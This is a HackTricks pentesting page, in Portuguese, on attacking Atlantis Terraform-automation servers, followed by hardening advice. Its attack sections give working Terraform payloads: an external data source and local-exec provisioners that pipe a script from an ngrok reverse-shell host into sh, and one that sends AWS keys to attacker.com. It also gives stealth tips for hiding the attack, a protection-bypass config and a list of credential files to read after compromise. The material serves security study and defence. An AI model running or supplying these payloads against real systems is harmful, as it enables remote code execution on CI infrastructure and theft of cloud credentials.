Atlantis Security

Support HackTricks

Basic Information

Atlantis basicamente ajuda você a executar terraform a partir de Pull Requests do seu servidor git.

Local Lab

  1. Vá para a página de lançamentos do atlantis em https://github.com/runatlantis/atlantis/releases e baixe a que melhor se adequa a você.

  2. Crie um token pessoal (com acesso ao repositório) do seu usuário github.

  3. Execute ./atlantis testdrive e isso criará um repositório de demonstração que você pode usar para conversar com atlantis.

  4. Você pode acessar a página da web em 127.0.0.1:4141.

Atlantis Access

Git Server Credentials

Atlantis suporta vários hosts git, como Github, Gitlab, Bitbucket e Azure DevOps. No entanto, para acessar os repositórios nessas plataformas e realizar ações, é necessário ter algum acesso privilegiado concedido a eles (pelo menos permissões de escrita). A documentação recomenda criar um usuário nessas plataformas especificamente para Atlantis, mas algumas pessoas podem usar contas pessoais.

Em qualquer caso, do ponto de vista de um atacante, a conta Atlantis será uma muito interessante para comprometer.

Webhooks

Atlantis usa opcionalmente segredos de Webhook para validar que os webhooks que recebe do seu host Git são legítimos.

Uma maneira de confirmar isso seria permitir que as solicitações venham apenas dos IPs do seu host Git, mas uma maneira mais fácil é usar um Segredo de Webhook.

Observe que, a menos que você use um servidor github ou bitbucket privado, precisará expor os endpoints de webhook para a Internet.

Atlantis estará expondo webhooks para que o servidor git possa enviar informações. Do ponto de vista de um atacante, seria interessante saber se você pode enviar mensagens para ele.

Provider Credentials

Da documentação:

Atlantis executa Terraform simplesmente executando os comandos terraform plan e apply no servidor onde o Atlantis está hospedado. Assim como quando você executa o Terraform localmente, o Atlantis precisa de credenciais para seu provedor específico.

Cabe a você como fornecer credenciais para seu provedor específico ao Atlantis:

  • O Helm Chart do Atlantis e o Módulo AWS Fargate têm seus próprios mecanismos para credenciais de provedor. Leia a documentação deles.

  • Se você estiver executando o Atlantis em uma nuvem, muitas nuvens têm maneiras de conceder acesso à API da nuvem para aplicativos que estão sendo executados nelas, ex:

  • AWS EC2 Roles (Pesquise por "EC2 Role")

  • Muitos usuários definem variáveis de ambiente, ex. AWS_ACCESS_KEY, onde o Atlantis está sendo executado.

  • Outros criam os arquivos de configuração necessários, ex. ~/.aws/credentials, onde o Atlantis está sendo executado.

  • Use o HashiCorp Vault Provider para obter credenciais de provedor.

O container onde o Atlantis está executando provavelmente contém credenciais privilegiadas para os provedores (AWS, GCP, Github...) que o Atlantis está gerenciando via Terraform.

Web Page

Por padrão, o Atlantis executará uma página da web na porta 4141 no localhost. Esta página apenas permite que você habilite/desabilite o atlantis apply e verifique o status do plano dos repositórios e os desbloqueie (não permite modificar coisas, então não é tão útil).

Provavelmente você não a encontrará exposta à internet, mas parece que por padrão nenhuma credencial é necessária para acessá-la (e se forem, atlantis:atlantis são as padrões).

Server Configuration

A configuração para atlantis server pode ser especificada por meio de flags de linha de comando, variáveis de ambiente, um arquivo de configuração ou uma mistura dos três.

Os valores são escolhidos nesta ordem:

  1. Flags

  2. Variáveis de Ambiente

  3. Arquivo de Configuração

Observe que na configuração você pode encontrar valores interessantes, como tokens e senhas.

Repos Configuration

Algumas configurações afetam como os repositórios são gerenciados. No entanto, é possível que cada repositório exija configurações diferentes, então existem maneiras de especificar cada repositório. Esta é a ordem de prioridade:

  1. Arquivo /atlantis.yml. Este arquivo pode ser usado para especificar como o atlantis deve tratar o repositório. No entanto, por padrão, algumas chaves não podem ser especificadas aqui sem algumas flags permitindo isso.

  2. Provavelmente necessário ser permitido por flags como allowed_overrides ou allow_custom_workflows.

  3. Configuração do Lado do Servidor: Você pode passá-la com a flag --repo-config e é um yaml configurando novas configurações para cada repositório (regexes suportados).

  4. Valores padrão.

PR Protections

Atlantis permite indicar se você deseja que o PR seja aprovado por outra pessoa (mesmo que isso não esteja definido na proteção de branch) e/ou ser mesclável (proteções de branch aprovadas) antes de executar apply. Do ponto de vista de segurança, definir ambas as opções é recomendado.

Caso allowed_overrides seja True, essas configurações podem ser sobrescritas em cada projeto pelo arquivo /atlantis.yml.

Scripts

A configuração do repositório pode especificar scripts para serem executados antes (ganchos de pré-workflow) e depois (ganchos de pós-workflow) que um workflow é executado.

Não há nenhuma opção para permitir especificar esses scripts no arquivo de repositório /atlantis.yml.

Workflow

Na configuração do repositório (configuração do lado do servidor), você pode especificar um novo workflow padrão, ou criar novos workflows personalizados. Você também pode especificar quais repositórios podem acessar os novos gerados. Então, você pode permitir que o arquivo atlantis.yaml de cada repositório especifique o workflow a ser usado.

Se a flag configuração do lado do servidor allow_custom_workflows estiver definida como True, os workflows podem ser especificados no arquivo atlantis.yaml de cada repositório. Também pode ser necessário que allowed_overrides especifique também workflow para sobrescrever o workflow que será usado. Isso basicamente dará RCE no servidor Atlantis para qualquer usuário que puder acessar esse repositório.

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

Verificação de Políticas do Conftest

Atlantis suporta a execução de políticas conftest do lado do servidor contra a saída do plano. Casos de uso comuns para usar esta etapa incluem:

  • Negar o uso de uma lista de módulos

  • Afirmar atributos de um recurso no momento da criação

  • Capturar exclusões acidentais de recursos

  • Prevenir riscos de segurança (ou seja, expor portas seguras ao público)

Você pode verificar como configurá-lo na documentação.

Comandos do Atlantis

Na documentação você pode encontrar as opções que pode usar para executar o Atlantis:

# Get help
atlantis help

# Run terraform plan
atlantis plan [options] -- [terraform plan flags]
##Options:
## -d directory
## -p project
## --verbose
## You can also add extra terraform options

# Run terraform apply
atlantis apply [options] -- [terraform apply flags]
##Options:
## -d directory
## -p project
## -w workspace
## --auto-merge-disabled
## --verbose
## You can also add extra terraform options

Ataques

Se durante a exploração você encontrar este erro: Error: Error acquiring the state lock

Você pode corrigir isso executando:

atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false

Atlantis plan RCE - Modificação de configuração em um novo PR

Se você tiver acesso de escrita a um repositório, poderá criar um novo branch nele e gerar um PR. Se você puder executar atlantis plan (ou talvez seja executado automaticamente) você poderá RCE dentro do servidor Atlantis.

Você pode fazer isso fazendo Atlantis carregar uma fonte de dados externa. Basta colocar um payload como o seguinte no arquivo main.tf:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Ataque Mais Discreto

Você pode realizar este ataque de uma maneira mais discreta, seguindo estas sugestões:

  • Em vez de adicionar o rev shell diretamente no arquivo terraform, você pode carregar um recurso externo que contém o rev shell:

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Você pode encontrar o código rev shell em https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

  • No recurso externo, use o recurso ref para ocultar o código rev shell do terraform em um branch dentro do repositório, algo como: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

  • Em vez de criar um PR para master para acionar o Atlantis, crie 2 branches (test1 e test2) e crie um PR de um para o outro. Quando você tiver concluído o ataque, apenas remova o PR e os branches.

Atlantis plan Secrets Dump

Você pode extrair segredos usados pelo terraform executando atlantis plan (terraform plan) colocando algo assim no arquivo terraform:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Atlantis apply RCE - Modificação de configuração em um novo PR

Se você tiver acesso de escrita a um repositório, poderá criar um novo branch nele e gerar um PR. Se você puder executar atlantis apply, poderá RCE dentro do servidor Atlantis.

No entanto, você geralmente precisará contornar algumas proteções:

  • Mergeable: Se essa proteção estiver definida no Atlantis, você só poderá executar atlantis apply se o PR for mergeable (o que significa que a proteção do branch precisa ser contornada).

  • Aprovado: Se essa proteção estiver definida no Atlantis, outro usuário deve aprovar o PR antes que você possa executar atlantis apply

  • Por padrão, você pode abusar do token do Gitbot para contornar essa proteção

Executando terraform apply em um arquivo Terraform malicioso com local-exec. Você só precisa garantir que algum payload como os seguintes termine no arquivo main.tf:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Siga as sugestões da técnica anterior para realizar este ataque de uma maneira mais furtiva.

Injeção de Parâmetros do Terraform

Ao executar atlantis plan ou atlantis apply, o terraform está sendo executado sob, você pode passar comandos para o terraform a partir do atlantis comentando algo como:

atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help

atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help

Algo que você pode passar são variáveis de ambiente que podem ser úteis para contornar algumas proteções. Verifique as variáveis de ambiente do terraform em https://www.terraform.io/cli/config/environment-variables

Fluxo de Trabalho Personalizado

Executando comandos de build personalizados maliciosos especificados em um arquivo atlantis.yaml. Atlantis usa o arquivo atlantis.yaml do branch da pull request, não do master. Essa possibilidade foi mencionada em uma seção anterior:

Se a flag de configuração do lado do servidor allow_custom_workflows estiver definida como True, fluxos de trabalho podem ser especificados no arquivo atlantis.yaml de cada repositório. Também pode ser necessário que allowed_overrides especifique também workflow para substituir o fluxo de trabalho que será utilizado.

Isso basicamente dará RCE no servidor Atlantis para qualquer usuário que possa acessar esse repositório.

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

Bypass plan/apply protections

Se a flag de configuração do lado do servidor allowed_overrides tiver apply_requirements configurado, é possível que um repositório modifique as proteções de plan/apply para contorná-las.

repos:
- id: /.*/
apply_requirements: []

PR Hijacking

Se alguém enviar comentários atlantis plan/apply em seus pull requests válidos, isso fará com que o terraform seja executado quando você não quiser.

Além disso, se você não tiver configurado na proteção de branch para solicitar a reevaluação de cada PR quando um novo commit for enviado a ele, alguém poderia escrever configurações maliciosas (ver cenários anteriores) na configuração do terraform, executar atlantis plan/apply e obter RCE.

Esta é a configuração nas proteções de branch do Github:

Webhook Secret

Se você conseguir roubar o webhook secret usado ou se não houver nenhum webhook secret sendo usado, você poderia chamar o webhook do Atlantis e invocar comandos do atlantis diretamente.

Bitbucket

O Bitbucket Cloud não suporta webhook secrets. Isso poderia permitir que atacantes falsificassem solicitações do Bitbucket. Certifique-se de permitir apenas IPs do Bitbucket.

  • Isso significa que um atacante poderia fazer solicitações falsas para o Atlantis que parecem estar vindo do Bitbucket.

  • Se você estiver especificando --repo-allowlist, então eles poderiam apenas falsificar solicitações relacionadas a esses repositórios, então o maior dano que poderiam causar seria planejar/aplicar em seus próprios repositórios.

  • Para evitar isso, adicione à lista de permissões os endereços IP do Bitbucket (veja Endereços IPv4 de saída).

Post-Exploitation

Se você conseguiu acessar o servidor ou pelo menos obteve um LFI, há algumas coisas interessantes que você deve tentar ler:

  • /home/atlantis/.git-credentials Contém credenciais de acesso ao vcs

  • /atlantis-data/atlantis.db Contém credenciais de acesso ao vcs com mais informações

  • /atlantis-data/repos/<org_name>/<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate Arquivo de estado do Terraform

  • Exemplo: /atlantis-data/repos/ghOrg_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate

  • /proc/1/environ Variáveis de ambiente

  • /proc/[2-20]/cmdline Linha de comando do atlantis server (pode conter dados sensíveis)

Mitigations

Don't Use On Public Repos

Porque qualquer um pode comentar em pull requests públicos, mesmo com todas as mitig ações de segurança disponíveis, ainda é perigoso executar o Atlantis em repositórios públicos sem a configuração adequada das configurações de segurança.

Don't Use --allow-fork-prs

Se você estiver executando em um repositório público (o que não é recomendado, veja acima), você não deve definir --allow-fork-prs (padrão é falso) porque qualquer um pode abrir um pull request de seu fork para o seu repositório.

--repo-allowlist

O Atlantis exige que você especifique uma lista de permissões de repositórios dos quais aceitará webhooks através da flag --repo-allowlist. Por exemplo:

  • Repositórios específicos: --repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests

  • Sua organização inteira: --repo-allowlist=github.com/runatlantis/*

  • Todos os repositórios na sua instalação do GitHub Enterprise: --repo-allowlist=github.yourcompany.com/*

  • Todos os repositórios: --repo-allowlist=*. Útil quando você está em uma rede protegida, mas perigoso sem também definir um webhook secret.

Essa flag garante que sua instalação do Atlantis não esteja sendo usada com repositórios que você não controla. Veja atlantis server --help para mais detalhes.

Protect Terraform Planning

Se atacantes estiverem enviando pull requests com código Terraform malicioso em seu modelo de ameaça, então você deve estar ciente de que as aprovações de terraform apply não são suficientes. É possível executar código malicioso em um terraform plan usando a external data source ou especificando um provedor malicioso. Esse código poderia então exfiltrar suas credenciais.

Para evitar isso, você poderia:

  1. Incorporar provedores na imagem do Atlantis ou hospedar e negar egress em produção.

  2. Implementar o protocolo de registro de provedores internamente e negar egress público, assim você controla quem tem acesso de escrita ao registro.

  3. Modificar o passo plan da sua configuração de repositório do lado do servidor para validar contra o uso de provedores ou fontes de dados não permitidos ou PRs de usuários não permitidos. Você também poderia adicionar validação extra neste ponto, por exemplo, exigindo um "joinha" no PR antes de permitir que o plan continue. O Conftest poderia ser útil aqui.

Webhook Secrets

O Atlantis deve ser executado com Webhook secrets definidos através das variáveis de ambiente $ATLANTIS_GH_WEBHOOK_SECRET/$ATLANTIS_GITLAB_WEBHOOK_SECRET. Mesmo com a flag --repo-allowlist definida, sem um webhook secret, atacantes poderiam fazer solicitações ao Atlantis se passando por um repositório que está na lista de permissões. Webhook secrets garantem que as solicitações de webhook estão realmente vindo do seu provedor de VCS (GitHub ou GitLab).

Se você estiver usando Azure DevOps, em vez de webhook secrets, adicione um nome de usuário e senha básicos.

Azure DevOps Basic Authentication

O Azure DevOps suporta o envio de um cabeçalho de autenticação básica em todos os eventos de webhook. Isso requer o uso de uma URL HTTPS para sua localização de webhook.

SSL/HTTPS

Se você estiver usando webhook secrets, mas seu tráfego estiver sobre HTTP, então os webhook secrets poderiam ser roubados. Habilite SSL/HTTPS usando as flags --ssl-cert-file e --ssl-key-file.

Enable Authentication on Atlantis Web Server

É altamente recomendado habilitar a autenticação no serviço web. Habilite o BasicAuth usando --web-basic-auth=true e configure um nome de usuário e uma senha usando as flags --web-username=yourUsername e --web-password=yourPassword.

Você também pode passar isso como variáveis de ambiente ATLANTIS_WEB_BASIC_AUTH=true ATLANTIS_WEB_USERNAME=yourUsername e ATLANTIS_WEB_PASSWORD=yourPassword.

References

Support HackTricks

Last updated